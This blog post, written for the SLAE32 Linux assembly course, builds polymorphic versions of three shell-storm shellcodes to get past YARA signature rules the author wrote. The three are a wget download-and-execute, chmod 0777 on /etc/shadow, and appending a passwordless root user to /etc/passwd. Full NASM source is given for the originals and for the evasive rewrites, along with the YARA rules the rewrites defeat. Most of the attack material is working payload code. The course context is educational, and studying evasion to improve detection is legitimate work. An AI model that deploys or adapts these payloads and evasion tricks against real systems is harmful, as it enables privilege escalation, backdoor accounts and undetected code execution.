SLAE32
| Assessment 6
Description of the assignment
- Take up at least 3 shellcodes from shell-Storm and create a polymorphic versions to beat the pattern matching
- The polymorphic version cannot be larger than 150% of the existing shellcode
- Bonus points for making it shorter in length than the original
As follows the list of shellcodes that we are going to change into polymorphic ones:
- downloadexec
- chmod 0777 /etc/shadow
- Add r00t user to /etc/passwd
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: PA-26457
Part 1 - downloadexec
Link to the original shellcode: http://shell-storm.org/shellcode/files/shellcode-862.php
First we retrieved the shellcode and make it works with the localhost.
The shellcode download a file “x” and execute it which displays an “HelloWorld” as we can see.
We supposed that the yara rule as follows flagged our original shellcode.
rule download_exec_shell {
meta:
description = "Personal rule"
strings:
$y1 = {74 2f 2f 78}
$y2 = {6C 68 6F 73}
$y3 = {6C 6f 63 61}
$y4 = {2f 77 67 65}
$y5 = {2f 62 69 6e}
$y6 = {2f 75 73 72}
condition:
$y1 and $y2 and $y3 or $y4 and $y5 and $y6
}
The y1 to y3 strings correspond to the instruction for the setting of the “localhost/x”:
push 0x782f2f74 ; x//t
push 0x736F686C ; sohl
push 0x61636f6c ; acol
And the y4 to y6 strings correspond to the instrution for the setting of the “/usr/bin/wget”:
push 0x74
push 0x6567772f ;egw/
push 0x6e69622f ;nib/
push 0x7273752f ;rsu/
The Yara rule triggered the detection as follows:
Then, we modified our strings to bypass the Yara rule.
Modifications to bypass the “localhost/x” condition:
mov dword [esp-4], 0x782f2f74 ; t//x
mov dword [esp-8], 0x736F686C ; lhos
mov esi, 0x50525e5b
add esi, 0x11111111
mov dword [esp-12], esi ; loca
Modifications to bypass the “/usr/bin/wget” condition:
mov byte [esp-1], 0x74
mov esi, 0x5456661e
add esi, 0x11111111
mov dword [esp-5], esi ;egw/
mov dword [esp-9], 0x6e69622f ;nib/
mov dword [esp-13], 0x7273752f ;rsu/
As we can see, our modification succeded to bypass the yara rule.
Shellcode Length details
- Length of the original shellcode: 103 bytes
- Length of the modified shellcode: 142 bytes
- Percentage length of the modified shellcode from the original: 137.8%
Original shellcode:
; INITIAL SHELLCODE
; Filename: downloadexec.nasm
; Author: Daniel Sauder
; Website: http://govolution.wordpress.com/
; Tested on: Ubuntu 12.04 / 32Bit
; License: http://creativecommons.org/licenses/by-sa/3.0/
; Shellcode:
; - download 192.168.2.222/x with wget
; - chmod x
; - execute x
; - x is an executable
; - length 108 bytes
global _start
section .text
_start:
;fork
xor eax,eax
mov al,0x2
int 0x80
xor ebx,ebx
cmp eax,ebx
jz child
;wait(NULL)
xor eax,eax
mov al,0x7
int 0x80
;chmod x
xor ecx,ecx
xor eax, eax
push eax
mov al, 0xf
push 0x78
mov ebx, esp
xor ecx, ecx
mov cx, 0x1ff
int 0x80
;exec x
xor eax, eax
push eax
push 0x78
mov ebx, esp
push eax
mov edx, esp
push ebx
mov ecx, esp
mov al, 11
int 0x80
child:
;download 192.168.2.222//x with wget
push 0xb
pop eax
cdq
push edx
push 0x782f2f74 ; x//t
push 0x736F686C ; sohl
push 0x61636f6c ; acol
mov ecx,esp
push edx
push 0x74 ;t
push 0x6567772f ;egw/
push 0x6e69622f ;nib/
push 0x7273752f ;rsu/
mov ebx,esp
push edx
push ecx
push ebx
mov ecx,esp
int 0x80
Modified shellcode:
; MODIFIED SHELLCODE
; Filename: downloadexecpoly.nasm
; Author: Jeremy Catelain
global _start
section .text
_start:
;fork
xor eax,eax
mov al,0x1
add al, 0x1
int 0x80
xor ebx,ebx
cmp eax,ebx
jz child
;wait(NULL)
xor eax,eax
mov al,0x7
int 0x80
;chmod x
xor ecx,ecx
mov eax, ecx
push eax
mov al, 0xf
push 0x78
mov ebx, esp
xor ecx, ecx
mov cx, 0x1ff
int 0x80
;exec x
xor eax, eax
push eax
push 0x78
mov ebx, esp
push eax
mov edx, esp
push ebx
mov ecx, esp
mov al, 11
int 0x80
child:
;download 192.168.2.222//x with wget
push 0xb
pop eax
cdq
push edx
mov dword [esp-4], 0x782f2f74 ; t//x
mov dword [esp-8], 0x736F686C ; lhos
mov esi, 0x50525e5b
add esi, 0x11111111
mov dword [esp-12], esi ; loca
sub esp, 12
mov ecx,esp
push edx
mov byte [esp-1], 0x74
mov esi, 0x5456661e
add esi, 0x11111111
mov dword [esp-5], esi ;egw/
mov dword [esp-9], 0x6e69622f ;nib/
mov dword [esp-13], 0x7273752f ;rsu/
sub esp, 13
mov ebx,esp
push edx
push ecx
push ebx
mov ecx,esp
int 0x80
Part 2 - chmod 0777 /etc/shadow
link to the original shellcode: http://shell-storm.org/shellcode/files/shellcode-875.php
The aim of this second shellcode is to modify the access rights on the /etc/shadow file. To do so, only the chmod syscall (EAX = 0xf) is performed.
We supposed that the yara rule as follows flagged our original shellcode.
rule chmodshadow {
meta:
description = "Personal rule"
strings:
$y1 = {2f 2f 73 68}
$y2 = {2f 65 74 63}
$y3 = {3e 1f 3a 56}
condition:
$y1 and $y2 and $y3
}
The y1 to y3 strings correspond to the instruction for the setting of the “/etc/shadow”:
mov esi, 0x563a1f3e
add esi, 0x21354523
mov dword [esp-4], esi
mov dword [esp-8], 0x68732f2f
mov dword [esp-12], 0x6374652f
The Yara rule effectively detected our shellcode:
Then, we modified our strings to bypass the Yara rule.
Modifications to bypass the ““/etc/shadow”” condition:
mov esi, 0x6374ef32
add esi, 0x13FA752F ;0x776F6461
mov dword [esp-4], esi
sub esi, 0xefc3532
mov dword [esp-8], esi ; 0x68732f2f
mov dword [esp-12], 0x6374652f
As we can see, our modification succeded to bypass the yara rule.
Shellcode Length details
- Length of the original shellcode: 49 bytes
- Length of the modified shellcode: 52 bytes
- Percentage length of the modified shellcode from the original: 106%
Original shellcode:
; Title: chmod 0777 /etc/shadow (a bit obfuscated) Shellcode - 51 Bytes
; Platform: linux/x86
; Date: 2014-06-22
; Author: Osanda Malith Jayathissa (@OsandaMalith)
section .text
global _start
_start:
mov ebx, eax
xor eax, ebx
push dword eax
mov esi, 0x563a1f3e
add esi, 0x21354523
mov dword [esp-4], esi
mov dword [esp-8], 0x68732f2f
mov dword [esp-12], 0x6374652f
sub esp, 12
mov ebx,esp
push word 0x1ff
pop cx
mov al,0xf
int 0x80
Modified shellcode:
; MODIFIED SHELLCODE
; Filename: chmodshadow-poly.nasm
; Author: Jeremy Catelain
; chmod 0777 /etc/shadow (a bit obfuscated) Shellcode - 51 Bytes
section .text
global _start
_start:
mov ebx, eax
xor eax, ebx
push dword eax
mov esi, 0x6374ef32
add esi, 0x13FA752F ;0x776F6461
mov dword [esp-4], esi
sub esi, 0xefc3532
mov dword [esp-8], esi ; 0x68732f2f
mov dword [esp-12], 0x6374652f
sub esp, 12
mov ebx,esp
push word 0x1ff
pop cx
mov al,0xf
int 0x80
Part 3 - Add r00t user to /etc/passwd
link to the original shellcode: http://shell-storm.org/shellcode/files/shellcode-211.php
The aim of this shellcode is to add a r00t user to the /etc/passwd file. To do so, the following steps are followed:
- open(“/etc//passwd”, O_WRONLY O_APPEND)
- write(ebx, “r00t::0:0:::”, 12)
- close(ebx)
- exit()
Result:
Execution of the shellcode:
Content of the /etc/passwd:
We supposed that the yara rule as follows flagged our original shellcode.
rule addr00tuser {
meta:
description = "Personal rule"
strings:
$y1 = {73 73 77 64}
$y2 = {2f 2f 70 61}
$y3 = {2f 65 74 63}
$y4 = {30 3a 3a 3a}
$y5 = {3a 3a 30 3a}
$y6 = {72 30 30 74}
condition:
$y1 and $y2 and $y3 or $y4 and $y5 and $y6
}
The y1 to y3 strings correspond to the instruction for the setting of the “/etc//passwd”:
push 0x64777373 ; dwss
push 0x61702f2f ; ap//
push 0x6374652f ; cte/
And the y4 to y6 strings correspond to the instrution for the setting of the “r00t::0:0:::”:
push 0x3a3a3a30 ;:::0
push 0x3a303a3a ;:0::
push 0x74303072 ; t00r
The Yara rule effectively detected our shellcode:
Then, we modified our strings to bypass the Yara rule.
Modifications to bypass the “/etc//passwd” condition:
mov esi, 0x53666162
add esi, 0x11111211
mov dword [esp-4], esi ; dwss
sub esi, 0x3074444
mov dword [esp-8], esi ; ap//
sub esp, 8
push 0x6374652f
Modifications to bypass the “r00t::0:0:::” condition:
mov esi, 0x2805e3b8
add esi, 0x12345678
mov dword [esp-4], esi ;:::0
sub esp, 4
push 0x3a303a3a ;:0::
push 0x74303072 ; t00r
As we can see, our modification succeded to bypass the yara rule.
Shellcode Length details
- Length of the original shellcode: 69 bytes
- Length of the modified shellcode: 100 bytes
- Percentage length of the modified shellcode from the original: 144.9%
Original shellcode:
;By Kris Katterjohn 11/14/2006
;69 byte shellcode to add root user 'r00t' with no password to /etc/passwd
;for Linux/x86
section .text
global _start
_start:
; open("/etc//passwd", O_WRONLY | O_APPEND)
push byte 5
pop eax
xor ecx, ecx
push ecx
push 0x64777373
push 0x61702f2f
push 0x6374652f
mov ebx, esp
mov cx, 02001Q
int 0x80
mov ebx, eax
; write(ebx, "r00t::0:0:::", 12)
push byte 4
pop eax
xor edx, edx
push edx
push 0x3a3a3a30 ;:::0
push 0x3a303a3a ;:0::
push 0x74303072 ; t00r
mov ecx, esp
push byte 12
pop edx
int 0x80
; close(ebx)
push byte 6
pop eax
int 0x80
; exit()
push byte 1
pop eax
int 0x80
Modified shellcode:
; MODIFIED SHELLCODE
; Filename: addr00tuser-poly.nasm
; Author: Jeremy Catelain
;69 byte shellcode to add root user 'r00t' with no password to /etc/passwd
;for Linux/x86
section .text
global _start
_start:
; open("/etc//passwd", O_WRONLY | O_APPEND)
push byte 5
pop eax
xor ecx, ecx
push ecx
mov esi, 0x53666162
add esi, 0x11111211
mov dword [esp-4], esi ; dwss
sub esi, 0x3074444
mov dword [esp-8], esi ; ap//
sub esp, 8
push 0x6374652f
mov ebx, esp
mov cx, 02001Q
int 0x80
mov ebx, eax
; write(ebx, "r00t::0:0:::", 12)
push byte 4
pop eax
xor edx, edx
push edx
mov esi, 0x2805e3b8
add esi, 0x12345678
mov dword [esp-4], esi ;:::0
sub esp, 4
push 0x3a303a3a ;:0::
push 0x74303072 ; t00r
mov ecx, esp
push byte 12
pop edx
int 0x80
; close(ebx)
push byte 6
pop eax
int 0x80
; exit()
push byte 1
pop eax
int 0x80